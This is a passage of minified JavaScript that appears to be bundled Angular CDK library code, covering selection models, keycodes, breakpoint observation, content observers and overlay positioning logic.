this._emitChangeEvent(),U}deselect(...j){this._verifyValueAssignment(j),j.forEach(G=>this._unmarkSelected(G));const U=this._hasQueuedChanges();return this._emitChangeEvent(),U}setSelection(...j){this._verifyValueAssignment(j);const U=this.selected,G=new Set(j);j.forEach(oe=>this._markSelected(oe)),U.filter(oe=>!G.has(oe)).forEach(oe=>this._unmarkSelected(oe));const Q=this._hasQueuedChanges();return this._emitChangeEvent(),Q}toggle(j){return this.isSelected(j)?this.deselect(j):this.select(j)}clear(j=!0){this._unmarkAll();const U=this._hasQueuedChanges();return j&&this._emitChangeEvent(),U}isSelected(j){if(this.compareWith){for(const U of this._selection)if(this.compareWith(U,j))return!0;return!1}return this._selection.has(j)}isEmpty(){return 0===this._selection.size}hasValue(){return!this.isEmpty()}sort(j){this._multiple&&this.selected&&this._selected.sort(j)}isMultipleSelection(){return this._multiple}_emitChangeEvent(){this._selected=null,(this._selectedToEmit.length||this._deselectedToEmit.length)&&(this.changed.next({source:this,added:this._selectedToEmit,removed:this._deselectedToEmit}),this._deselectedToEmit=[],this._selectedToEmit=[])}_markSelected(j){this.isSelected(j)||(this._multiple||this._unmarkAll(),this.isSelected(j)||this._selection.add(j),this._emitChanges&&this._selectedToEmit.push(j))}_unmarkSelected(j){this.isSelected(j)&&(this._selection.delete(j),this._emitChanges&&this._deselectedToEmit.push(j))}_unmarkAll(){this.isEmpty()||this._selection.forEach(j=>this._unmarkSelected(j))}_verifyValueAssignment(j){}_hasQueuedChanges(){return!(!this._deselectedToEmit.length&&!this._selectedToEmit.length)}}let C=(()=>{class H{constructor(){this._listeners=[]}notify(U,G){for(let Q of this._listeners)Q(U,G)}listen(U){return this._listeners.push(U),()=>{this._listeners=this._listeners.filter(G=>U!==G)}}ngOnDestroy(){this._listeners=[]}}return H.\\u0275fac=function(U){return new(U||H)},H.\\u0275prov=s.Yz7({token:H,factory:H.\\u0275fac,providedIn:"root"}),H})();const z=new s.OlP("_ViewRepeater")},9521:(At,ae,d)=>{"use strict";d.d(ae,{A:()=>re,JH:()=>k,JU:()=>f,K5:()=>c,Ku:()=>H,LH:()=>oe,L_:()=>z,MW:()=>Vt,Mf:()=>s,SV:()=>Ce,Sd:()=>G,VM:()=>j,Vb:()=>vn,Z:()=>wt,ZH:()=>a,aO:()=>Ke,b2:()=>V1,hY:()=>C,jx:()=>E,oh:()=>Q,uR:()=>U,xE:()=>we,yY:()=>q,zL:()=>_});const a=8,s=9,c=13,f=16,E=17,_=18,C=27,z=32,H=33,j=34,U=35,G=36,Q=37,oe=38,Ce=39,k=40,q=46,we=48,Ke=57,re=65,wt=90,Vt=91,V1=224;function vn(E1,...In){return In.length?In.some(Gn=>E1[Gn]):E1.altKey||E1.shiftKey||E1.ctrlKey||E1.metaKey}},2289:(At,ae,d)=>{"use strict";d.d(ae,{Yg:()=>k,u3:()=>se,xu:()=>j});var n=d(4650),a=d(1281),s=d(8929),u=d(3426),c=d(1221),f=d(6498),E=d(2986),_=d(1307),S=d(13),g=d(4850),C=d(1059),z=d(7625),H=d(3353);let j=(()=>{class ee{}return ee.\\u0275fac=function(we){return new(we||ee)},ee.\\u0275mod=n.oAB({type:ee}),ee.\\u0275inj=n.cJS({}),ee})();const U=new Set;let G,Q=(()=>{class ee{constructor(we){this._platform=we,this._matchMedia=this._platform.isBrowser&&window.matchMedia?window.matchMedia.bind(window):Ce}matchMedia(we){return(this._platform.WEBKIT||this._platform.BLINK)&&function oe(ee){if(!U.has(ee))try{G||(G=document.createElement("style"),G.setAttribute("type","text/css"),document.head.appendChild(G)),G.sheet&&(G.sheet.insertRule(`@media ${ee} {body{ }}`,0),U.add(ee))}catch(q){console.error(q)}}(we),this._matchMedia(we)}}return ee.\\u0275fac=function(we){return new(we||ee)(n.LFG(H.t4))},ee.\\u0275prov=n.Yz7({token:ee,factory:ee.\\u0275fac,providedIn:"root"}),ee})();function Ce(ee){return{matches:"all"===ee||""===ee,media:ee,addListener:()=>{},removeListener:()=>{}}}let k=(()=>{class ee{constructor(we,ce){this._mediaMatcher=we,this._zone=ce,this._queries=new Map,this._destroySubject=new s.xQ}ngOnDestroy(){this._destroySubject.next(),this._destroySubject.complete()}isMatched(we){return K((0,a.Eq)(we)).some(je=>this._registerQuery(je).mql.matches)}observe(we){const je=K((0,a.Eq)(we)).map(le=>this._registerQuery(le).observable);let Ze=(0,u.aj)(je);return Ze=(0,c.z)(Ze.pipe((0,E.q)(1)),Ze.pipe((0,_.T)(1),(0,S.b)(0))),Ze.pipe((0,g.U)(le=>{const Oe={matches:!1,breakpoints:{}};return le.forEach(({matches:Qe,query:Ye})=>{Oe.matches=Oe.matches||Qe,Oe.breakpoints[Ye]=Qe}),Oe}))}_registerQuery(we){if(this._queries.has(we))return this._queries.get(we);const ce=this._mediaMatcher.matchMedia(we),Ze={observable:new f.y(le=>{const Oe=Qe=>this._zone.run(()=>le.next(Qe));return ce.addListener(Oe),()=>{ce.removeListener(Oe)}}).pipe((0,C.O)(ce),(0,g.U)(({matches:le})=>({query:we,matches:le})),(0,z.R)(this._destroySubject)),mql:ce};return this._queries.set(we,Ze),Ze}}return ee.\\u0275fac=function(we){return new(we||ee)(n.LFG(Q),n.LFG(n.R0b))},ee.\\u0275prov=n.Yz7({token:ee,factory:ee.\\u0275fac,providedIn:"root"}),ee})();function K(ee){return ee.map(q=>q.split(",")).reduce((q,we)=>q.concat(we)).map(q=>q.trim())}const se={XSmall:"(max-width: 599.98px)",Small:"(min-width: 600px) and (max-width: 959.98px)",Medium:"(min-width: 960px) and (max-width: 1279.98px)",Large:"(min-width: 1280px) and (max-width: 1919.98px)",XLarge:"(min-width: 1920px)",Handset:"(max-width: 599.98px) and (orientation: portrait), (max-width: 959.98px) and (orientation: landscape)",Tablet:"(min-width: 600px) and (max-width: 839.98px) and (orientation: portrait), (min-width: 960px) and (max-width: 1279.98px) and (orientation: landscape)",Web:"(min-width: 840px) and (orientation: portrait), (min-width: 1280px) and (orientation: landscape)",HandsetPortrait:"(max-width: 599.98px) and (orientation: portrait)",TabletPortrait:"(min-width: 600px) and (max-width: 839.98px) and (orientation: portrait)",WebPortrait:"(min-width: 840px) and (orientation: portrait)",HandsetLandscape:"(max-width: 959.98px) and (orientation: landscape)",TabletLandscape:"(min-width: 960px) and (max-width: 1279.98px) and (orientation: landscape)",WebLandscape:"(min-width: 1280px) and (orientation: landscape)"}},9643:(At,ae,d)=>{"use strict";d.d(ae,{Q8:()=>S,wD:()=>_});var n=d(1281),a=d(4650),s=d(6498),u=d(8929),c=d(13);let f=(()=>{class g{create(z){return typeof MutationObserver>"u"?null:new MutationObserver(z)}}return g.\\u0275fac=function(z){return new(z||g)},g.\\u0275prov=a.Yz7({token:g,factory:g.\\u0275fac,providedIn:"root"}),g})(),E=(()=>{class g{constructor(z){this._mutationObserverFactory=z,this._observedElements=new Map}ngOnDestroy(){this._observedElements.forEach((z,H)=>this._cleanupObserver(H))}observe(z){const H=(0,n.fI)(z);return new s.y(j=>{const G=this._observeElement(H).subscribe(j);return()=>{G.unsubscribe(),this._unobserveElement(H)}})}_observeElement(z){if(this._observedElements.has(z))this._observedElements.get(z).count++;else{const H=new u.xQ,j=this._mutationObserverFactory.create(U=>H.next(U));j&&j.observe(z,{characterData:!0,childList:!0,subtree:!0}),this._observedElements.set(z,{observer:j,stream:H,count:1})}return this._observedElements.get(z).stream}_unobserveElement(z){this._observedElements.has(z)&&(this._observedElements.get(z).count--,this._observedElements.get(z).count||this._cleanupObserver(z))}_cleanupObserver(z){if(this._observedElements.has(z)){const{observer:H,stream:j}=this._observedElements.get(z);H&&H.disconnect(),j.complete(),this._observedElements.delete(z)}}}return g.\\u0275fac=function(z){return new(z||g)(a.LFG(f))},g.\\u0275prov=a.Yz7({token:g,factory:g.\\u0275fac,providedIn:"root"}),g})(),_=(()=>{class g{constructor(z,H,j){this._contentObserver=z,this._elementRef=H,this._ngZone=j,this.event=new a.vpe,this._disabled=!1,this._currentSubscription=null}get disabled(){return this._disabled}set disabled(z){this._disabled=(0,n.Ig)(z),this._disabled?this._unsubscribe():this._subscribe()}get debounce(){return this._debounce}set debounce(z){this._debounce=(0,n.su)(z),this._subscribe()}ngAfterContentInit(){!this._currentSubscription&&!this.disabled&&this._subscribe()}ngOnDestroy(){this._unsubscribe()}_subscribe(){this._unsubscribe();const z=this._contentObserver.observe(this._elementRef);this._ngZone.runOutsideAngular(()=>{this._currentSubscription=(this.debounce?z.pipe((0,c.b)(this.debounce)):z).subscribe(this.event)})}_unsubscribe(){this._currentSubscription?.unsubscribe()}}return g.\\u0275fac=function(z){return new(z||g)(a.Y36(E),a.Y36(a.SBq),a.Y36(a.R0b))},g.\\u0275dir=a.lG2({type:g,selectors:[["","cdkObserveContent",""]],inputs:{disabled:["cdkObserveContentDisabled","disabled"],debounce:"debounce"},outputs:{event:"cdkObserveContent"},exportAs:["cdkObserveContent"]}),g})(),S=(()=>{class g{}return g.\\u0275fac=function(z){return new(z||g)},g.\\u0275mod=a.oAB({type:g}),g.\\u0275inj=a.cJS({providers:[f]}),g})()},8184:(At,ae,d)=>{"use strict";d.d(ae,{Iu:()=>Ke,U8:()=>Pt,X_:()=>q,Xj:()=>qe,_G:()=>ze,aV:()=>R,pI:()=>Je,xu:()=>ct});var n=d(7261),a=d(6895),s=d(4650),u=d(1281),c=d(3353),f=d(445),E=d(4080),_=d(8929),S=d(2654),g=d(6787),C=d(2986),z=d(7625),H=d(4290),j=d(9521);const U=(0,c.Mq)();class G{constructor(x,m){this._viewportRuler=x,this._previousHTMLStyles={top:"",left:""},this._isEnabled=!1,this._document=m}attach(){}enable(){if(this._canBeEnabled()){const x=this._document.documentElement;this._previousScrollPosition=this._viewportRuler.getViewportScrollPosition(),this._previousHTMLStyles.left=x.style.left||"",this._previousHTMLStyles.top=x.style.top||"",x.style.left=(0,u.HM)(-this._previousScrollPosition.left),x.style.top=(0,u.HM)(-this._previousScrollPosition.top),x.classList.add("cdk-global-scrollblock"),this._isEnabled=!0}}disable(){if(this._isEnabled){const x=this._document.documentElement,b=x.style,B=this._document.body.style,ie=b.scrollBehavior||"",Xe=B.scrollBehavior||"";this._isEnabled=!1,b.left=this._previousHTMLStyles.left,b.top=this._previousHTMLStyles.top,x.classList.remove("cdk-global-scrollblock"),U&&(b.scrollBehavior=B.scrollBehavior="auto"),window.scroll(this._previousScrollPosition.left,this._previousScrollPosition.top),U&&(b.scrollBehavior=ie,B.scrollBehavior=Xe)}}_canBeEnabled(){if(this._document.documentElement.classList.contains("cdk-global-scrollblock")||this._isEnabled)return!1;const m=this._document.body,b=this._viewportRuler.getViewportSize();return m.scrollHeight>b.height||m.scrollWidth>b.width}}class oe{constructor(x,m,b,B){this._scrollDispatcher=x,this._ngZone=m,this._viewportRuler=b,this._config=B,this._scrollSubscription=null,this._detach=()=>{this.disable(),this._overlayRef.hasAttached()&&this._ngZone.run(()=>this._overlayRef.detach())}}attach(x){this._overlayRef=x}enable(){if(this._scrollSubscription)return;const x=this._scrollDispatcher.scrolled(0);this._config&&this._config.threshold&&this._config.threshold>1?(this._initialScrollPosition=this._viewportRuler.getViewportScrollPosition().top,this._scrollSubscription=x.subscribe(()=>{const m=this._viewportRuler.getViewportScrollPosition().top;Math.abs(m-this._initialScrollPosition)>this._config.threshold?this._detach():this._overlayRef.updatePosition()})):this._scrollSubscription=x.subscribe(this._detach)}disable(){this._scrollSubscription&&(this._scrollSubscription.unsubscribe(),this._scrollSubscription=null)}detach(){this.disable(),this._overlayRef=null}}class Ce{enable(){}disable(){}attach(){}}function k(te,x){return x.some(m=>te.bottom<m.top||te.top>m.bottom||te.right<m.left||te.left>m.right)}function K(te,x){return x.some(m=>te.top<m.top||te.bottom>m.bottom||te.left<m.left||te.right>m.right)}class se{constructor(x,m,b,B){this._scrollDispatcher=x,this._viewportRuler=m,this._ngZone=b,this._config=B,this._scrollSubscription=null}attach(x){this._overlayRef=x}enable(){this._scrollSubscription||(this._scrollSubscription=this._scrollDispatcher.scrolled(this._config?this._config.scrollThrottle:0).subscribe(()=>{if(this._overlayRef.updatePosition(),this._config&&this._config.autoClose){const m=this._overlayRef.overlayElement.getBoundingClientRect(),{width:b,height:B}=this._viewportRuler.getViewportSize();k(m,[{width:b,height:B,bottom:B,right:b,top:0,left:0}])&&(this.disable(),this._ngZone.run(()=>this._overlayRef.detach()))}}))}disable(){this._scrollSubscription&&(this._scrollSubscription.unsubscribe(),this._scrollSubscription=null)}detach(){this.disable(),this._overlayRef=null}}let ee=(()=>{class te{constructor(m,b,B,ie){this._scrollDispatcher=m,this._viewportRuler=b,this._ngZone=B,this.noop=()=>new Ce,this.close=Xe=>new oe(this._scrollDispatcher,this._ngZone,this._viewportRuler,Xe),this.block=()=>new G(this._viewportRuler,this._document),this.reposition=Xe=>new se(this._scrollDispatcher,this._viewportRuler,this._ngZone,Xe),this._document=ie}}return te.\\u0275fac=function(m){return new(m||te)(s.LFG(n.mF),s.LFG(n.rL),s.LFG(s.R0b),s.LFG(a.K0))},te.\\u0275prov=s.Yz7({token:te,factory:te.\\u0275fac,providedIn:"root"}),te})();class q{constructor(x){if(this.scrollStrategy=new Ce,this.panelClass="",this.hasBackdrop=!1,this.backdropClass="cdk-overlay-dark-backdrop",this.disposeOnNavigation=!1,x){const m=Object.keys(x);for(const b of m)void 0!==x[b]&&(this[b]=x[b])}}}class je{constructor(x,m){this.connectionPair=x,this.scrollableViewProperties=m}}let Oe=(()=>{class te{constructor(m){this._attachedOverlays=[],this._document=m}ngOnDestroy(){this.detach()}add(m){this.remove(m),this._attachedOverlays.push(m)}remove(m){const b=this._attachedOverlays.indexOf(m);b>-1&&this._attachedOverlays.splice(b,1),0===this._attachedOverlays.length&&this.detach()}}return te.\\u0275fac=function(m){return new(m||te)(s.LFG(a.K0))},te.\\u0275prov=s.Yz7({token:te,factory:te.\\u0275fac,providedIn:"root"}),te})(),Qe=(()=>{class te extends Oe{constructor(m,b){super(m),this._ngZone=b,this._keydownListener=B=>{const ie=this._attachedOverlays;for(let Xe=ie.length-1;Xe>-1;Xe--)if(ie[Xe]._keydownEvents.observers.length>0){const it=ie[Xe]._keydownEvents;this._ngZone?this._ngZone.run(()=>it.next(B)):it.next(B);break}}}add(m){super.add(m),this._isAttached||(this._ngZone?this._ngZone.runOutsideAngular(()=>this._document.body.addEventListener("keydown",this._keydownListener)):this._document.body.addEventListener("keydown",this._keydownListener),this._isAttached=!0)}detach(){this._isAttached&&(this._document.body.removeEventListener("keydown",this._keydownListener),this._isAttached=!1)}}return te.\\u0275fac=function(m){return new(m||te)(s.LFG(a.K0),s.LFG(s.R0b,8))},te.\\u0275prov=s.Yz7({token:te,factory:te.\\u0275fac,providedIn:"root"}),te})(),Ye=(()=>{class te extends Oe{constructor(m,b,B){super(m),this._platform=b,this._ngZone=B,this._cursorStyleIsSet=!1,this._pointerDownListener=ie=>{this._pointerDownEventTarget=(0,c.sA)(ie)},this._clickListener=ie=>{const Xe=(0,c.sA)(ie),it="click"===ie.type&&this._pointerDownEventTarget?this._pointerDownEventTarget:Xe;this._pointerDownEventTarget=null;const wt=this._attachedOverlays.slice();for(let Vt=wt.length-1;Vt>-1;Vt--){const Gt=wt[Vt];if(Gt._outsidePointerEvents.observers.length<1||!Gt.hasAttached())continue;if(Gt.overlayElement.contains(Xe)||Gt.overlayElement.contains(it))break;const qt=Gt._outsidePointerEvents;this._ngZone?this._ngZone.run(()=>qt.next(ie)):qt.next(ie)}}}add(m){if(super.add(m),!this._isAttached){const b=this._document.body;this._ngZone?this._ngZone.runOutsideAngular(()=>this._addEventListeners(b)):this._addEventListeners(b),this._platform.IOS&&!this._cursorStyleIsSet&&(this._cursorOriginalValue=b.style.cursor,b.style.cursor="pointer",this._cursorStyleIsSet=!0),this._isAttached=!0}}detach(){if(this._isAttached){const m=this._document.body;m.removeEventListener("pointerdown",this._pointerDownListener,!0),m.removeEventListener("click",this._clickListener,!0),m.removeEventListener("auxclick",this._clickListener,!0),m.removeEventListener("contextmenu",this._clickListener,!0),this._platform.IOS&&this._cursorStyleIsSet&&(m.style.cursor=this._cursorOriginalValue,this._cursorStyleIsSet=!1),this._isAttached=!1}}_addEventListeners(m){m.addEventListener("pointerdown",this._pointerDownListener,!0),m.addEventListener("click",this._clickListener,!0),m.addEventListener("auxclick",this._clickListener,!0),m.addEventListener("contextmenu",this._clickListener,!0)}}return te.\\u0275fac=function(m){return new(m||te)(s.LFG(a.K0),s.LFG(c.t4),s.LFG(s.R0b,8))},te.\\u0275prov=s.Yz7({token:te,factory:te.\\u0275fac,providedIn:"root"}),te})(),qe=(()=>{class te{constructor(m,b){this._platform=b,this._document=m}ngOnDestroy(){this._containerElement?.remove()}getContainerElement(){return this._containerElement||this._createContainer(),this._containerElement}_createContainer(){const m="cdk-overlay-container";if(this._platform.isBrowser||(0,c.Oy)()){const B=this._document.querySelectorAll(`.${m}[platform="server"], .${m}[platform="test"]`);for(let ie=0;ie<B.length;ie++)B[ie].remove()}const b=this._document.createElement("div");b.classList.add(m),(0,c.Oy)()?b.setAttribute("platform","test"):this._platform.isBrowser||b.setAttribute("platform","server"),this._document.body.appendChild(b),this._containerElement=b}}return te.\\u0275fac=function(m){return new(m||te)(s.LFG(a.K0),s.LFG(c.t4))},te.\\u0275prov=s.Yz7({token:te,factory:te.\\u0275fac,providedIn:"root"}),te})();class Ke{constructor(x,m,b,B,ie,Xe,it,wt,Vt,Gt=!1){this._portalOutlet=x,this._host=m,this._pane=b,this._config=B,this._ngZone=ie,this._keyboardDispatcher=Xe,this._document=it,this._location=wt,this._outsideClickDispatcher=Vt,this._animationsDisabled=Gt,this._backdropElement=null,this._backdropClick=new _.xQ,this._attachments=new _.xQ,this._detachments=new _.xQ,this._locationChanges=S.w.EMPTY,this._backdropClickHandler=qt=>this._backdropClick.next(qt),this._backdropTransitionendHandler=qt=>{this._disposeBackdrop(qt.target)},this._keydownEvents=new _.xQ,this._outsidePointerEvents=new _.xQ,B.scrollStrategy&&(this._scrollStrategy=B.scrollStrategy,this._scrollStrategy.attach(this)),this._positionStrategy=B.positionStrategy}get overlayElement(){return this._pane}get backdropElement(){return this._backdropElement}get hostElement(){return this._host}attach(x){!this._host.parentElement&&this._previousHostParent&&this._previousHostParent.appendChild(this._host);const m=this._portalOutlet.attach(x);return this._positionStrategy&&this._positionStrategy.attach(this),this._updateStackingOrder(),this._updateElementSize(),this._updateElementDirection(),this._scrollStrategy&&this._scrollStrategy.enable(),this._ngZone.onStable.pipe((0,C.q)(1)).subscribe(()=>{this.hasAttached()&&this.updatePosition()}),this._togglePointerEvents(!0),this._config.hasBackdrop&&this._attachBackdrop(),this._config.panelClass&&this._toggleClasses(this._pane,this._config.panelClass,!0),this._attachments.next(),this._keyboardDispatcher.add(this),this._config.disposeOnNavigation&&(this._locationChanges=this._location.subscribe(()=>this.dispose())),this._outsideClickDispatcher.add(this),"function"==typeof m?.onDestroy&&m.onDestroy(()=>{this.hasAttached()&&this._ngZone.runOutsideAngular(()=>Promise.resolve().then(()=>this.detach()))}),m}detach(){if(!this.hasAttached())return;this.detachBackdrop(),this._togglePointerEvents(!1),this._positionStrategy&&this._positionStrategy.detach&&this._positionStrategy.detach(),this._scrollStrategy&&this._scrollStrategy.disable();const x=this._portalOutlet.detach();return this._detachments.next(),this._keyboardDispatcher.remove(this),this._detachContentWhenStable(),this._locationChanges.unsubscribe(),this._outsideClickDispatcher.remove(this),x}dispose(){const x=this.hasAttached();this._positionStrategy&&this._positionStrategy.dispose(),this._disposeScrollStrategy(),this._disposeBackdrop(this._backdropElement),this._locationChanges.unsubscribe(),this._keyboardDispatcher.remove(this),this._portalOutlet.dispose(),this._attachments.complete(),this._backdropClick.complete(),this._keydownEvents.complete(),this._outsidePointerEvents.complete(),this._outsideClickDispatcher.remove(this),this._host?.remove(),this._previousHostParent=this._pane=this._host=null,x&&this._detachments.next(),this._detachments.complete()}hasAttached(){return this._portalOutlet.hasAttached()}backdropClick(){return this._backdropClick}attachments(){return this._attachments}detachments(){return this._detachments}keydownEvents(){return this._keydownEvents}outsidePointerEvents(){return this._outsidePointerEvents}getConfig(){return this._config}updatePosition(){this._positionStrategy&&this._positionStrategy.apply()}updatePositionStrategy(x){x!==this._positionStrategy&&(this._positionStrategy&&this._positionStrategy.dispose(),this._positionStrategy=x,this.hasAttached()&&(x.attach(this),this.updatePosition()))}updateSize(x){this._config={...this._config,...x},this._updateElementSize()}setDirection(x){this._config={...this._config,direction:x},this._updateElementDirection()}addPanelClass(x){this._pane&&this._toggleClasses(this._pane,x,!0)}removePanelClass(x){this._pane&&this._toggleClasses(this._pane,x,!1)}getDirection(){const x=this._config.direction;return x?"string"==typeof x?x:x.value:"ltr"}updateScrollStrategy(x){x!==this._scrollStrategy&&(this._disposeScrollStrategy(),this._scrollStrategy=x,this.hasAttached()&&(x.attach(this),x.enable()))}_updateElementDirection(){this._host.setAttribute("dir",this.getDirection())}_updateElementSize(){if(!this._pane)return;const x=this._pane.style;x.width=(0,u.HM)(this._config.width),x.height=(0,u.HM)(this._config.height),x.minWidth=(0,u.HM)(this._config.minWidth),x.minHeight=(0,u.HM)(this._config.minHeight),x.maxWidth=(0,u.HM)(this._config.maxWidth),x.maxHeight=(0,u.HM)(this._config.maxHeight)}_togglePointerEvents(x){this._pane.style.pointerEvents=x?"":"none"}_attachBackdrop(){const x="cdk-overlay-backdrop-showing";this._backdropElement=this._document.createElement("div"),this._backdropElement.classList.add("cdk-overlay-backdrop"),this._animationsDisabled&&this._backdropElement.classList.add("cdk-overlay-backdrop-noop-animation"),this._config.backdropClass&&this._toggleClasses(this._backdropElement,this._config.backdropClass,!0),this._host.parentElement.insertBefore(this._backdropElement,this._host),this._backdropElement.addEventListener("click",this._backdropClickHandler),!this._animationsDisabled&&typeof requestAnimationFrame<"u"?this._ngZone.runOutsideAngular(()=>{requestAnimationFrame(()=>{this._backdropElement&&this._backdropElement.classList.add(x)})}):this._backdropElement.classList.add(x)}_updateStackingOrder(){this._host.nextSibling&&this._host.parentNode.appendChild(this._host)}detachBackdrop(){const x=this._backdropElement;if(x){if(this._animationsDisabled)return void this._disposeBackdrop(x);x.classList.remove("cdk-overlay-backdrop-showing"),this._ngZone.runOutsideAngular(()=>{x.addEventListener("transitionend",this._backdropTransitionendHandler)}),x.style.pointerEvents="none",this._backdropTimeout=this._ngZone.runOutsideAngular(()=>setTimeout(()=>{this._disposeBackdrop(x)},500))}}_toggleClasses(x,m,b){const B=(0,u.Eq)(m||[]).filter(ie=>!!ie);B.length&&(b?x.classList.add(...B):x.classList.remove(...B))}_detachContentWhenStable(){this._ngZone.runOutsideAngular(()=>{const x=this._ngZone.onStable.pipe((0,z.R)((0,g.T)(this._attachments,this._detachments))).subscribe(()=>{(!this._pane||!this._host||0===this._pane.children.length)&&(this._pane&&this._config.panelClass&&this._toggleClasses(this._pane,this._config.panelClass,!1),this._host&&this._host.parentElement&&(this._previousHostParent=this._host.parentElement,this._host.remove()),x.unsubscribe())})})}_disposeScrollStrategy(){const x=this._scrollStrategy;x&&(x.disable(),x.detach&&x.detach())}_disposeBackdrop(x){x&&(x.removeEventListener("click",this._backdropClickHandler),x.removeEventListener("transitionend",this._backdropTransitionendHandler),x.remove(),this._backdropElement===x&&(this._backdropElement=null)),this._backdropTimeout&&(clearTimeout(this._backdropTimeout),this._backdropTimeout=void 0)}}const dt="cdk-overlay-connected-position-bounding-box",bt=/([A-Za-z%]+)$/;class ze{constructor(x,m,b,B,ie){this._viewportRuler=m,this._document=b,this._platform=B,this._overlayContainer=ie,this._lastBoundingBoxSize={width:0,height:0},this._isPushed=!1,this._canPush=!0,this._growAfterOpen=!1,this._hasFlexibleDimensions=!0,this._positionLocked=!1,this._viewportMargin=0,this._scrollables=[],this._preferredPositions=[],this._positionChanges=new _.xQ,this._resizeSubscription=S.w.EMPTY,this._offsetX=0,this._offsetY=0,this._appliedPanelClasses=[],this.positionChanges=this._positionChanges,this.setOrigin(x)}get positions(){return this._preferredPositions}attach(x){this._validatePositions(),x.hostElement.classList.add(dt),this._overlayRef=x,this._boundingBox=x.hostElement,this._pane=x.overlayElement,this._isDisposed=!1,this._isInitialRender=!0,this._lastPosition=null,this._resizeSubscription.unsubscribe(),this._resizeSubscription=this._viewportRuler.change().subscribe(()=>{this._isInitialRender=!0,this.apply()})}apply(){if(this._isDisposed||!this._platform.isBrowser)return;if(!this._isInitialRender&&this._positionLocked&&this._lastPosition)return void this.reapplyLastPosition();this._clearPanelClasses(),this._resetOverlayElementStyles(),this._resetBoundingBoxStyles(),this._viewportRect=this._getNarrowedViewportRect(),this._originRect=this._getOriginRect(),this._overlayRect=this._pane.getBoundingClientRect(),this._containerRect=this._overlayContainer.getContainerElement().getBoundingClientRect();const x=this._originRect,m=this._overlayRect,b=this._viewportRect,B=this._containerRect,ie=[];let Xe;for(let it of this._preferredPositions){let wt=this._getOriginPoint(x,B,it),Vt=this._getOverlayPoint(wt,m,it),Gt=this._getOverlayFit(Vt,m,b,it);if(Gt.isCompletelyWithinViewport)return this._isPushed=!1,void this._applyPosition(it,wt);this._canFitWithFlexibleDimensions(Gt,Vt,b)?ie.push({position:it,origin:wt,overlayRect:m,boundingBoxRect:this._calculateBoundingBoxRect(wt,it)}):(!Xe||Xe.overlayFit.visibleArea<Gt.visibleArea)&&(Xe={overlayFit:Gt,overlayPoint:Vt,originPoint:wt,position:it,overlayRect:m})}if(ie.length){let it=null,wt=-1;for(const Vt of ie){const Gt=Vt.boundingBoxRect.width*Vt.boundingBoxRect.height*(Vt.position.weight||1);Gt>wt&&(wt=Gt,it=Vt)}return this._isPushed=!1,void this._applyPosition(it.position,it.origin)}if(this._canPush)return this._isPushed=!0,void this._applyPosition(Xe.position,Xe.originPoint);this._applyPosition(Xe.position,Xe.originPoint)}detach(){this._clearPanelClasses(),this._lastPosition=null,this._previousPushAmount=null,this._resizeSubscription.unsubscribe()}dispose(){this._isDisposed||(this._boundingBox&&De(this._boundingBox.style,{top:"",left:"",right:"",bottom:"",height:"",width:"",alignItems:"",justifyContent:""}),this._pane&&this._resetOverlayElementStyles(),this._overlayRef&&this._overlayRef.hostElement.classList.remove(dt),this.detach(),this._positionChanges.complete(),this._overlayRef=this._boundingBox=null,this._isDisposed=!0)}reapplyLastPosition(){if(this._isDisposed||!this._platform.isBrowser)return;const x=this._lastPosition;if(x){this._originRect=this._getOriginRect(),this._overlayRect=this._pane.getBoundingClientRect(),this._viewportRect=this._getNarrowedViewportRect(),this._containerRect=this._overlayContainer.getContainerElement().getBoundingClientRect();const m=this._getOriginPoint(this._originRect,this._containerRect,x);this._applyPosition(x,m)}else this.apply()}withScrollableContainers(x){return this._scrollables=x,this}withPositions(x){return this._preferredPositions=x,-1===x.indexOf(this._lastPosition)&&(this._lastPosition=null),this._validatePositions(),this}withViewportMargin(x){return this._viewportMargin=x,this}withFlexibleDimensions(x=!0){return this._hasFlexibleDimensions=x,this}withGrowAfterOpen(x=!0){return this._growAfterOpen=x,this}withPush(x=!0){return this._canPush=x,this}withLockedPosition(x=!0){return this._positionLocked=x,this}setOrigin(x){return this._origin=x,this}withDefaultOffsetX(x){return this._offsetX=x,this}withDefaultOffsetY(x){return this._offsetY=x,this}withTransformOriginOn(x){return this._transformOriginSelector=x,this}_getOriginPoint(x,m,b){let B,ie;if("center"==b.originX)B=x.left+x.width/2;else{const Xe=this._isRtl()?x.right:x.left,it=this._isRtl()?x.left:x.right;B="start"==b.originX?Xe:it}return m.left<0&&(B-=m.left),ie="center"==b.originY?x.top+x.height/2:"top"==b.originY?x.top:x.bottom,m.top<0&&(ie-=m.top),{x:B,y:ie}}_getOverlayPoint(x,m,b){let B,ie;return B="center"==b.overlayX?-m.width/2:"start"===b.overlayX?this._isRtl()?-m.width:0:this._isRtl()?0:-m.width,ie="center"==b.overlayY?-m.height/2:"top"==b.overlayY?0:-m.height,{x:x.x+B,y:x.y+ie}}_getOverlayFit(x,m,b,B){const ie=ve(m);let{x:Xe,y:it}=x,wt=this._getOffset(B,"x"),Vt=this._getOffset(B,"y");wt&&(Xe+=wt),Vt&&(it+=Vt);let u1=0-it,c1=it+ie.height-b.height,It=this._subtractOverflows(ie.width,0-Xe,Xe+ie.width-b.width),_t=this._subtractOverflows(ie.height,u1,c1),kt=It*_t;return{visibleArea:kt,isCompletelyWithinViewport:ie.width*ie.height===kt,fitsInViewportVertically:_t===ie.height,fitsInViewportHorizontally:It==ie.width}}_canFitWithFlexibleDimensions(x,m,b){if(this._hasFlexibleDimensions){const B=b.bottom-m.y,ie=b.right-m.x,Xe=re(this._overlayRef.getConfig().minHeight),it=re(this._overlayRef.getConfig().minWidth);return(x.fitsInViewportVertically||null!=Xe&&Xe<=B)&&(x.fitsInViewportHorizontally||null!=it&&it<=ie)}return!1}_pushOverlayOnScreen(x,m,b){if(this._previousPushAmount&&this._positionLocked)return{x:x.x+this._previousPushAmount.x,y:x.y+this._previousPushAmount.y};const B=ve(m),ie=this._viewportRect,Xe=Math.max(x.x+B.width-ie.width,0),it=Math.max(x.y+B.height-ie.height,0),wt=Math.max(ie.top-b.top-x.y,0),Vt=Math.max(ie.left-b.left-x.x,0);let Gt=0,qt=0;return Gt=B.width<=ie.width?Vt||-Xe:x.x<this._viewportMargin?ie.left-b.left-x.x:0,qt=B.height<=ie.height?wt||-it:x.y<this._viewportMargin?ie.top-b.top-x.y:0,this._previousPushAmount={x:Gt,y:qt},{x:x.x+Gt,y:x.y+qt}}_applyPosition(x,m){if(this._setTransformOrigin(x),this._setOverlayElementStyles(m,x),this._setBoundingBoxStyles(m,x),x.panelClass&&this._addPanelClasses(x.panelClass),this._lastPosition=x,this._positionChanges.observers.length){const b=this._getScrollVisibility(),B=new 